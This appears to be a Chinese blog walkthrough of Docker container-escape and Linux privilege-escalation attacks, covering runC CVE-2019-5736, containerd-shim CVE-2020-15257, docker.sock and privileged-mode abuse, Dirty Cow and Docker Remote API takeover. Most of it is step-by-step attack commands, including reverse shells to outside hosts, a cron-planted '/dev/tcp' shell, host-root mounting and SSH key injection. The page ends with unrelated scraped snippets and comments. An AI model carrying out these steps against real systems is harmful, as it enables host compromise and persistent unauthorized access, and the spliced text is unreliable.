docker-runc CVE-2019-5736(runC容器逃逸漏洞)

1、准备漏洞环境:

curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

2、下载poc,编译脚本
a)下载poc:https://github.com/Frichetten/CVE-2019-5736-PoC
b)修改payload,将go脚本中的命令修改为反弹shell:vim main.go
在这里插入图片描述
c)、编译生成payload

  • 安装golang:yum install golang
  • 查看当前系统安装的Go语言版本:go version
  • 在/home下创建一个workspace目录,并定义 GOPATH 环境变量指向该目录,这个目录将被 Go 工具用于保存和编辑二进制文件
echo 'export GOPATH="$HOME/workspace"' >> ~/.bashrc
source ~/.bashrc
  • 编译生成payload:CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
    在这里插入图片描述
    3、将main文件放入容器中:sudo docker cp mainunruffled_newton:/tmp
    4、进入容器,并修改权限:docker exec -it unruffled_newton /bin/bash
    在这里插入图片描述
    5、执行main文件,打开新窗口,进入go脚本中的执行反弹的机器,在反弹机器中监听端口
    在这里插入图片描述
    6、打开新窗口,进入该容器
    在这里插入图片描述
    7、启动容器时,触发payload
    在这里插入图片描述
    参考:https://www.cnblogs.com/xiaozi/p/13377619.html

containerd-shim CVE-2020-15257

影响版本:containerd < 1.3.9
1、卸载docker容器:

yum remove docker docker-engine docker.io containerd runc

2、手动安装docker
rpm包下载地址:https://download.docker.com/linux/centos/7/x86_64/stable/Packages/
docker安装指导:https://docs.docker.com/engine/install/centos/#prerequisites
3、查看docker版本
在这里插入图片描述
4、下载容器:docker pull ubuntu:18.04
5、通过–net=host 作为启动参数来运行并进入一个容器:docker run -it --net=host ubuntu:18.04 /bin/bash
6、在容器内执行 cat /proc/net/unix|grep -a "containerd-shim" 可看到抽象命名空间Unix域套接字
在这里插入图片描述
7、下载cdk执行exp并实现反弹shell:

wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz

8、将cdk文件拷贝到容器/tmp目录下:docker cp cdk/ reverent_mendeleev:/tmp
9、打开新窗口,攻击机器执行nc监控端口:nc -vl 12345
10、进入容器,执行文件:./cdk_linux_amd64 run shim-pwn 192.168.0.44 12345
11、成功实现容器逃逸
参考:https://blog.csdn.net/weixin_45006525/article/details/116229461

docker.sock

1、找到docker.sock:find / -name docker.sock
在这里插入图片描述
2、查看宿主机docker信息:docker -H unix:///run/docker.sock info
3、运行一个新容器并挂载宿主机根路径:docker -H unix:///run/docker.sock run -it -v /:/test ubuntu /bin/bash
4、在新容器的/test 目录下,访问到宿主机的全部资源,然后在tmp写入一个文件
5、退出容器,查看日志:grep 'msg:' /opt/XXX/logs/modescape.log
在这里插入图片描述

Procfs目录挂载逃逸

1、启动时将proc目录挂载在容器中:docker run -v /root/cdk:/cdk -v /proc:/mnt/host_proc --rm -it ubuntu bash
2、退出容器查看日志:grep 'msg:' /opt/XXX/logs/modescape.log

Ptrace逃逸PoC

1、执行命令进入容器:docker run --cap-add=SYS_PTRACE -v /root/cdk:/cdk --rm -it ubuntu bash
2、下载文件:https://github.com/0x00pf/0x00sec_code.git
3、修改infect.c文件中的shellcode:vim mem_inject/infect.c
在这里插入图片描述
4、gcc编译infect.c文件: gcc infect.c -o inject
5、执行infect文件:./inject pid
在这里插入图片描述

CAP_SYS_ADMIN

1、使用–cap-add启动容器:docker run -ti --cap-add=sys_admin ubuntu /bin/bash
2、容器内访问磁盘:fdisk -l
在这里插入图片描述

SYS_MODULE逃逸PoC

1、使用–cap-add启动容器:docker run -ti --cap-add=sys_module -v /lib/modules:/lib/modules --rm -it ubuntu bash

特权模式运行容器

1、创建一个具备–privileged=true特权参数的容器:docker run -ti --privileged=true --name 容器名称 ubuntu /bin/bash
2、查看容器是否开启特权模式:docker inspect prishiyanlou | grep Privileged
在这里插入图片描述
3、 判断当前容器是否通过特权模式起来:cat /proc/self/status |grep Cap
在这里插入图片描述
4、容器中查看主机:fdisk -l
在这里插入图片描述
5、通过mount命令将主机根目录挂载到容器中:mount /dev/vda1 /mnt
在这里插入图片描述
6、将根目录换成指定的目的目录:chroot /mnt/
7、主机中查看log日志:cat /opt/XXX/logs/modescape.log |grep 'msg'
在这里插入图片描述
参考:https://blog.51cto.com/zhaoshilei/2512328

Dirty Cow(CVE-2016-5195)

漏洞范围:Linux内核 >= 2.6.22
内核版本低于列表里的版本,表示还存在脏牛漏洞
在这里插入图片描述
1、查看Linux内核:uname -a
2、下载poc:https://github.com/FireFart/dirtycow
3、对dirty.c进行编译,生成一个dirty的可执行文件:gcc -pthread dirty.c -o dirty -lcrypt
4、执行文件:./dirty test@1234(设置你的登录密码,账户名默认为firefart)
5、登录firefart账户,成功提权
在这里插入图片描述
参考:https://www.cnblogs.com/mrliu0327/p/13456502.html

敏感目录挂载

1、挂载根目录:docker run -it -v /:/opt/test/ ubuntu /bin/bash
2、写入一个文件到tmp目录下:echo 123.txt >> tmp/secroot.txt
在这里插入图片描述
3、查看日志:grep 'msg:' /opt/XXX/logs/modescape.log
在这里插入图片描述

Docker Remote API未授权访问

1、配置远程访问:vim /usr/lib/systemd/system/docker.service

ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock

在这里插入图片描述
2、重启并查看docker进程:

systemctl daemon-reload 
systemctl restart docker
ps -ef|grep docker

3、查看本机启动的容器:docker -H tcp://0.0.0.0:2375 ps
在这里插入图片描述
4、在另一台机器上创建一个名为busybox的容器:docker -H tcp://IP run -it -v /:/mnt busybox chroot /mnt sh
在这里插入图片描述
5、进入系统目录,写入ssh公钥
在这里插入图片描述
6、更改文件属性:chattr -aui /root/.ssh/authorized_keys

参考:https://zgao.top/docker-remote-api%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/

1、docker守护进程监听在0.0.0.0,调用API来操作:dockersudo dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
在这里插入图片描述
2、列出容器信息,效果与docker ps一致:curl http://0.0.0.0:2375/containers/json
3、启动容器:docker -H tcp://0.0.0.0:2375 ps -a
4、在目标机器上新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下:

docker -H tcp://192.168.0.41 run -it -v /:/mnt nginx:latest /bin/bash

4、在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root:

echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.0.41/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root

5、本地监听端口:nc -vl 12345
6、等待定时任务达到逃逸目的

Shocker 攻击

漏洞影响版本: Docker版本< 1.0, 存在于 Docker 1.0 之前的绝大多数版本
1、下载shocker文件:https://github.com/gabrtv/shocker
2、gcc编译shocker.c文件:gcc shocker.c -o shocker
在这里插入图片描述
3、执行文件:docker run gabrtv/shocker

参考:https://www.cnblogs.com/xiaozi/p/13423853.html

docker-runc CVE-2019-5736(runC容器逃逸漏洞)1、准备漏洞环境:curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh &amp;&amp; bash install.sh2、下载poc,编译脚本a)下载poc:https://github.com/Frichetten/CVE-2019-5736-PoCb)修改payload
aws-cdk-docker 方便的Docker映像,用于在CodeBuild项目中运行AWS CDK。 专为运行Python CDK Apps而设计。 可通过以下网址访问:thestuhrer / aws-cdk 最新:基于主vx.yz:具有可用版本的AWS CDK xyz的映像
影响版本:Linux 4.15.x~4.19.2 4.19.2已修补,4.19.1未修补。 7.0分。 测试版本:Linux-4.19.1 exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory 编译选项:CONFIG_USER_NS CONFIG_SLAB=y General setup —> Choose SLAB allocator (SLUB (Unqueued Allocator)) —> SL
nacos 问题:解决nacos使用本地mysql数据库,无法连接mysql容器数据库的问题 办法:创建docker自定义网络,设置固定网关;容器设置固定ip,将容器添加到docker自定义网络中 问题:解决nacos无法连接mysql数据库问题 Caused by: java.lang.IllegalStateException: No DataSource set 办法:开启mysql远程连接权限 方法二: 指定参数启动nacos容器 docker network
复现利用特权模式docker逃逸 漏洞说明: 获取某个系统shell后发现其是docker,这时候我们就需要进行docker逃逸来拿到其真正宿主的权限,利用特权模式逃逸 靶机:ubantu16.0 IP地址 192.168.32.142 Docker version 小于 18.09.2版本 当管理员执行docker run -privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。 (1)下载centos镜像 执行命令:docker pull cento
CSDN-Ada助手: 感谢您对CSDN的支持,非常高兴看到您分享了centos7安装ceph问题的记录。建议您再继续深入探索ceph的相关内容,例如如何在ceph集群中添加新节点、ceph存储池的管理等。期待您的下一篇博客! 为了方便博主创作,提高生产力,CSDN上线了AI写作助手功能,就在创作编辑器右侧哦~(https://mp.csdn.net/edit?utm_source=blog_comment_recall )诚邀您来加入测评,到此(https://activity.csdn.net/creatActivity?id=10450&utm_source=blog_comment_recall)发布测评文章即可获得「话题勋章」,同时还有机会拿定制奖牌。 centos7安装ceph问题记录 CSDN-Ada助手: CS入门 技能树或许可以帮到你:https://edu.csdn.net/skill/gml?utm_source=AI_act_gml